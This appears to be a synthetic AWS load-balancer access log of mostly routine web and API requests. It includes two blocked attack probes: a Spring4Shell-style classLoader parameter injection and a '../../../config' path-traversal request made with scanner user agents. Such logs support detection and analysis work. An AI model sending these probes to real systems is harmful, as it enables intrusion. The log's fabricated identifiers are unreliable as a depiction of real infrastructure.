2024-11-01T00:31:05.514976Z "forward" "-" "-" "10.0.200.125:443" "200" "-" "-" -https 2024-11-01T00:31:06.244737Z prod-web-alb 149.197.33.183:45590 10.0.74.32:443 0.066533 0.369453 0.047134 200 200 684 13644 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beda-54b41fe8d1144bab9ff1e95b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:06.244737Z "forward" "-" "-" "10.0.74.32:443" "200" "-" "-" -https 2024-11-01T00:31:07.416308Z prod-web-alb 108.141.193.149:29870 10.0.225.132:443 0.030928 0.193949 0.039245 200 200 467 3692 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedb-5959f2c8fc7a441c9b67e898" "prod-web-alb.example.com" "-" 10 2024-11-01T00:31:07.416308Z "forward" "-" "-" "10.0.225.132:443" "200" "-" "-" -https 2024-11-01T00:31:09.017535Z prod-web-alb 71.87.224.84:22857 10.0.104.20:443 0.020553 0.282792 0.061239 200 200 584 14717 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedd-4c7f936b7681433ab0a8ceeb" "prod-web-alb.example.com" "-" 4 2024-11-01T00:31:09.017535Z "forward" "-" "-" "10.0.104.20:443" "200" "-" "-" -https 2024-11-01T00:31:09.178025Z prod-api-alb 86.107.236.214:61331 10.0.161.33:443 0.071748 0.120976 0.007045 301 301 869 11725 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bedd-01b5f1ce29f44f71a5807000" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:09.178025Z "forward" "-" "-" "10.0.161.33:443" "301" "-" "-" -https 2024-11-01T00:31:10.971817Z prod-api-alb 247.148.76.168:53482 10.0.231.242:443 0.080246 0.344775 0.028358 200 200 481 4049 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bede-5c7efc81bf8e486eb305313e" "prod-api-alb.example.com" "-" 0 2024-11-01T00:31:10.971817Z "forward" "-" "-" "10.0.231.242:443" "200" "-" "-" -https 2024-11-01T00:31:11.424221Z prod-web-alb 80.173.65.194:19399 10.0.155.219:443 0.003633 0.089351 0.059995 302 302 750 6076 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedf-f98c8584db954d98b86b54b9" "prod-web-alb.example.com" "-" 1 2024-11-01T00:31:11.424221Z "forward" "-" "-" "10.0.155.219:443" "302" "-" "-" -https 2024-11-01T00:31:11.941198Z prod-web-alb 111.12.33.219:28505 10.0.156.187:443 0.006086 0.245188 0.008490 301 301 203 7417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bedf-fea1ae7c4b38449692bf0313" "prod-web-alb.example.com" "-" 0 2024-11-01T00:31:11.941198Z "forward" "-" "-" "10.0.156.187:443" "301" "-" "-" -https 2024-11-01T00:31:12.736873Z staging-alb 160.142.235.186:27441 65.89.193.13:443 0.115994 0.329967 0.036865 200 200 354 3936 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bee0-565a118ac1a4490694461197" "staging-alb.example.com" "-" 8 2024-11-01T00:31:12.736873Z "forward" "-" "-" "65.89.193.13:443" "200" "-" "-" -https 2024-11-01T00:31:14.053120Z staging-alb 57.147.3.145:28436 47.56.234.60:8080 0.118300 0.239188 0.106588 200 200 469 10825 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bee2-8be7e5ef08fc4adbb92c3fad" "staging-alb.example.com" "-" 9 2024-11-01T00:31:14.053120Z "forward" "-" "-" "47.56.234.60:8080" "200" "-" "-" -https 2024-11-01T00:31:15.867276Z prod-web-alb 65.227.0.167:40686 10.0.90.154:443 0.036264 0.150635 0.023498 404 404 77 13144 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bee3-be322756c29b42a8bcd0eca4" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:15.867276Z "forward" "-" "-" "10.0.90.154:443" "404" "-" "-" -https 2024-11-01T00:31:16.020655Z staging-alb 46.220.62.129:62091 208.58.230.220:80 0.078105 0.102294 0.035439 200 200 993 9227 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee4-93b1d15add5d41ea863b6203" "staging-alb.example.com" "-" 4 2024-11-01T00:31:16.020655Z "forward" "-" "-" "208.58.230.220:80" "200" "-" "-" -https 2024-11-01T00:31:16.146495Z prod-api-alb 145.177.150.110:26238 10.0.106.1:443 0.045107 0.014504 0.065404 200 200 849 6816 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bee4-b86f19ebc5e74de8844d413c" "-" "-" 0 2024-11-01T00:31:16.146495Z "forward" "-" "-" "10.0.106.1:443" "200" "-" "-" -https 2024-11-01T00:31:17.247226Z prod-api-alb 119.39.92.11:23142 10.0.206.151:443 0.092210 0.114210 0.056933 200 200 32 5385 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bee5-05328cc6a95341e69d447e94" "prod-api-alb.example.com" "-" 1 2024-11-01T00:31:17.247226Z "forward" "-" "-" "10.0.206.151:443" "200" "-" "-" -https 2024-11-01T00:31:18.474522Z staging-alb 22.1.213.96:26143 42.15.198.20:80 0.100745 0.672459 0.126627 302 302 769 5148 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee6-b9f21e6661ab498cae492192" "-" "-" 3 2024-11-01T00:31:18.474522Z "forward" "-" "-" "42.15.198.20:80" "302" "-" "-" -http 2024-11-01T00:31:20.422210Z staging-alb 156.160.188.57:31743 186.181.88.162:8080 0.000473 0.667827 0.083963 302 302 550 10843 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bee8-f9b077568b8c4dfbb2baecac" "staging-alb.example.com" "-" 5 2024-11-01T00:31:20.422210Z "forward" "-" "-" "186.181.88.162:8080" "302" "-" "-" -https 2024-11-01T00:31:21.931466Z prod-api-alb 45.135.225.76:17441 10.0.112.247:443 0.043067 0.146771 0.093825 200 200 318 6118 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bee9-9ad7a8fd605a4e8fbe888110" "prod-api-alb.example.com" "-" 8 2024-11-01T00:31:21.931466Z "forward" "-" "-" "10.0.112.247:443" "200" "-" "-" -https 2024-11-01T00:31:23.745842Z prod-api-alb 47.160.211.17:33665 10.0.151.140:443 0.048529 0.468389 0.048854 200 200 158 12214 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723beeb-08e95d82b8954c32a4ca69bd" "prod-api-alb.example.com" "-" 2 2024-11-01T00:31:23.745842Z "forward" "-" "-" "10.0.151.140:443" "200" "-" "-" -https 2024-11-01T00:31:24.045488Z staging-alb 220.50.28.123:23738 52.216.25.130:443 0.045909 0.000585 0.127345 404 404 255 12667 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beec-4996ddcf9e324619b84cf071" "staging-alb.example.com" "-" 10 2024-11-01T00:31:24.045488Z "forward" "-" "-" "52.216.25.130:443" "404" "-" "-" -http 2024-11-01T00:31:25.470035Z staging-alb 160.134.192.218:44132 249.236.178.67:8080 0.011932 0.305030 0.148319 404 404 780 7571 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beed-dc753bec5ba845949b7e37f9" "staging-alb.example.com" "-" 3 2024-11-01T00:31:25.470035Z "forward" "-" "-" "249.236.178.67:8080" "404" "-" "-" -https 2024-11-01T00:31:26.278877Z prod-api-alb 135.219.242.106:49755 10.0.182.170:443 0.092106 0.094699 0.026037 302 302 874 2608 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beee-d3f9210fd5504ea886f55847" "prod-api-alb.example.com" "-" 10 2024-11-01T00:31:26.278877Z "forward" "-" "-" "10.0.182.170:443" "302" "-" "-" -https 2024-11-01T00:31:27.656262Z staging-alb 204.200.229.29:32854 1.202.143.78:443 0.052028 0.554065 0.014737 302 302 916 11579 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723beef-e877994ea9904be9b2684354" "staging-alb.example.com" "-" 2 2024-11-01T00:31:27.656262Z "forward" "-" "-" "1.202.143.78:443" "302" "-" "-" -https 2024-11-01T00:31:29.174974Z prod-api-alb 83.117.81.175:44787 10.0.239.64:443 0.005412 0.292617 0.051668 301 301 868 6423 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef1-9399121195d142939a4fe361" "prod-api-alb.example.com" "-" 4 2024-11-01T00:31:29.174974Z "forward" "-" "-" "10.0.239.64:443" "301" "-" "-" -https 2024-11-01T00:31:30.438348Z prod-web-alb 7.241.5.213:41997 10.0.82.169:443 0.005980 0.396119 0.079739 200 200 676 11629 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bef2-61d850f3273b491fbea5bbde" "prod-web-alb.example.com" "-" 8 2024-11-01T00:31:30.438348Z "forward" "-" "-" "10.0.82.169:443" "200" "-" "-" -http 2024-11-01T00:31:32.396666Z staging-alb 224.206.98.7:21451 117.72.192.184:8080 0.035898 0.668511 0.135087 404 404 258 13091 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bef4-3093b422ddde4e94ba333e07" "staging-alb.example.com" "-" 2 2024-11-01T00:31:32.396666Z "forward" "-" "-" "117.72.192.184:8080" "404" "-" "-" -https 2024-11-01T00:31:33.479081Z prod-api-alb 146.203.103.12:53034 10.0.253.210:443 0.046399 0.021747 0.011634 200 200 57 5087 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef5-bcd89819cec7432d905fe103" "prod-api-alb.example.com" "-" 8 2024-11-01T00:31:33.479081Z "forward" "-" "-" "10.0.253.210:443" "200" "-" "-" -https 2024-11-01T00:31:33.954242Z prod-web-alb 214.158.81.240:16161 10.0.153.115:443 0.034939 0.315728 0.085880 200 200 817 6163 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bef5-30533fdeff9c4d768d75e0b5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:33.954242Z "forward" "-" "-" "10.0.153.115:443" "200" "-" "-" -https 2024-11-01T00:31:34.797196Z prod-api-alb 137.52.228.108:13755 10.0.206.226:443 0.036884 0.284855 0.084708 200 200 1000 14749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef6-fe322350a38e45fcb6e94e7c" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:34.797196Z "forward" "-" "-" "10.0.206.226:443" "200" "-" "-" -http 2024-11-01T00:31:35.655922Z staging-alb 223.199.220.204:18989 246.168.120.208:443 0.143545 0.340897 0.022967 200 200 693 5592 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bef7-d918934d0f32404c8cbf513d" "staging-alb.example.com" "-" 4 2024-11-01T00:31:35.655922Z "forward" "-" "-" "246.168.120.208:443" "200" "-" "-" -https 2024-11-01T00:31:36.057565Z prod-api-alb 167.48.209.106:62953 10.0.119.118:443 0.006102 0.123784 0.033133 404 404 477 13351 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bef8-1d92e644b84244afb4715b04" "prod-api-alb.example.com" "-" 7 2024-11-01T00:31:36.057565Z "forward" "-" "-" "10.0.119.118:443" "404" "-" "-" -https 2024-11-01T00:31:37.178421Z prod-api-alb 107.194.18.200:32022 10.0.97.169:443 0.018152 0.393647 0.062255 200 200 136 13353 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bef9-2f489aea0ab94764bef77a6b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:31:37.178421Z "forward" "-" "-" "10.0.97.169:443" "200" "-" "-" -https 2024-11-01T00:31:38.230108Z prod-api-alb 110.26.249.140:50081 10.0.129.216:443 0.071012 0.020730 0.048727 200 200 580 895 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723befa-2ff75b166c4142af9c75aa37" "prod-api-alb.example.com" "-" 9 2024-11-01T00:31:38.230108Z "forward" "-" "-" "10.0.129.216:443" "200" "-" "-" -https 2024-11-01T00:31:39.402233Z prod-web-alb 49.249.18.119:36950 10.0.161.223:443 0.092311 0.149836 0.034623 301 301 391 1765 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befb-62341a4662ac4999aa2aff1a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:39.402233Z "forward" "-" "-" "10.0.161.223:443" "301" "-" "-" -https 2024-11-01T00:31:40.756643Z prod-web-alb 153.122.128.103:27729 10.0.26.174:443 0.021759 0.224979 0.018724 200 200 172 4110 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befc-5b0fe417b09e463ab1bb6918" "prod-web-alb.example.com" "-" 5 2024-11-01T00:31:40.756643Z "forward" "-" "-" "10.0.26.174:443" "200" "-" "-" -https 2024-11-01T00:31:42.412671Z prod-web-alb 45.155.205.66:55403 10.0.36.184:443 0.080073 0.263079 0.040589 403 403 949 9521 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723befe-65a55d0c0e284746a479d56e" "-" "-" 0 2024-11-01T00:31:42.412671Z "forward" "-" "-" "10.0.36.184:443" "403" "-" "-" -https 2024-11-01T00:31:43.597896Z staging-alb 133.246.144.219:30904 71.102.184.185:8080 0.090577 0.305019 0.146295 200 200 939 593 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723beff-2f9298f72e12425bba2850b1" "staging-alb.example.com" "-" 6 2024-11-01T00:31:43.597896Z "forward" "-" "-" "71.102.184.185:8080" "200" "-" "-" -https 2024-11-01T00:31:44.907952Z prod-web-alb 53.135.28.75:34754 10.0.48.223:443 0.068648 0.466062 0.034407 200 200 865 1626 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf00-2c44bd5fdb5c4e709d1c8e91" "prod-web-alb.example.com" "-" 9 2024-11-01T00:31:44.907952Z "forward" "-" "-" "10.0.48.223:443" "200" "-" "-" -https 2024-11-01T00:31:45.149673Z prod-api-alb 124.71.117.227:62497 10.0.164.200:443 0.001692 0.025160 0.018950 200 200 582 3415 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf01-473b13ebed8145679d530a88" "prod-api-alb.example.com" "-" 0 2024-11-01T00:31:45.149673Z "forward" "-" "-" "10.0.164.200:443" "200" "-" "-" -http 2024-11-01T00:31:45.376744Z staging-alb 12.5.171.128:44904 154.97.94.26:8080 0.007468 0.038830 0.017606 200 200 381 1777 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf01-f983eb8d9a6544afbfa46eaf" "staging-alb.example.com" "-" 2 2024-11-01T00:31:45.376744Z "forward" "-" "-" "154.97.94.26:8080" "200" "-" "-" -https 2024-11-01T00:31:47.175866Z staging-alb 58.191.80.63:27892 125.191.249.9:443 0.139972 0.043409 0.094849 200 200 620 5973 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf03-654cd2855bba4c9fb7e94a7f" "staging-alb.example.com" "-" 9 2024-11-01T00:31:47.175866Z "forward" "-" "-" "125.191.249.9:443" "200" "-" "-" -https 2024-11-01T00:31:49.175786Z prod-web-alb 193.27.228.120:54997 10.0.92.119:443 0.069096 0.079410 0.064101 403 403 730 1708 "GET /api/../../../config HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf05-19321f74965f48e58a368d27" "-" "-" 1 2024-11-01T00:31:49.175786Z "forward" "-" "-" "10.0.92.119:443" "403" "-" "-" -https 2024-11-01T00:31:49.416166Z prod-api-alb 104.140.247.191:57579 10.0.146.112:443 0.000309 0.463542 0.068191 301 301 144 1242 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf05-d637d27c7faf443dac53f835" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:49.416166Z "forward" "-" "-" "10.0.146.112:443" "301" "-" "-" -https 2024-11-01T00:31:49.730048Z prod-api-alb 237.138.140.143:16578 10.0.110.31:443 0.060205 0.392937 0.020261 302 302 734 1522 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf05-d0da0d040cb44ba19027f2b0" "prod-api-alb.example.com" "-" 3 2024-11-01T00:31:49.730048Z "forward" "-" "-" "10.0.110.31:443" "302" "-" "-" -https 2024-11-01T00:31:50.087721Z prod-api-alb 163.205.248.62:42234 10.0.233.179:443 0.038275 0.467098 0.005566 200 200 980 1365 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf06-592d1d41a0ef48619005698b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:31:50.087721Z "forward" "-" "-" "10.0.233.179:443" "200" "-" "-" -https 2024-11-01T00:31:50.425695Z prod-web-alb 168.45.37.83:21343 10.0.62.107:443 0.046020 0.104002 0.090994 200 200 401 1664 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf06-25c913ea8bfd4cadb6e756c7" "prod-web-alb.example.com" "-" 6 2024-11-01T00:31:50.425695Z "forward" "-" "-" "10.0.62.107:443" "200" "-" "-" -http 2024-11-01T00:31:50.534643Z staging-alb 216.243.133.213:14226 85.142.51.62:8080 0.145339 0.335373 0.087346 200 200 236 11412 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf06-d9ce00a0bdaa4230922d6882" "staging-alb.example.com" "-" 8 2024-11-01T00:31:50.534643Z "forward" "-" "-" "85.142.51.62:8080" "200" "-" "-" -https 2024-11-01T00:31:51.608338Z staging-alb 11.184.246.87:36257 171.74.172.139:80 0.081236 0.165974 0.083947 301 301 271 5825 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bf07-b6c61478a8934f658d811923" "staging-alb.example.com" "-" 9 2024-11-01T00:31:51.608338Z "forward" "-" "-" "171.74.172.139:80" "301" "-" "-" -https 2024-11-01T00:31:52.104006Z prod-web-alb 116.146.223.91:31982 10.0.122.144:443 0.041781 0.100251 0.028660 302 302 559 8470 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 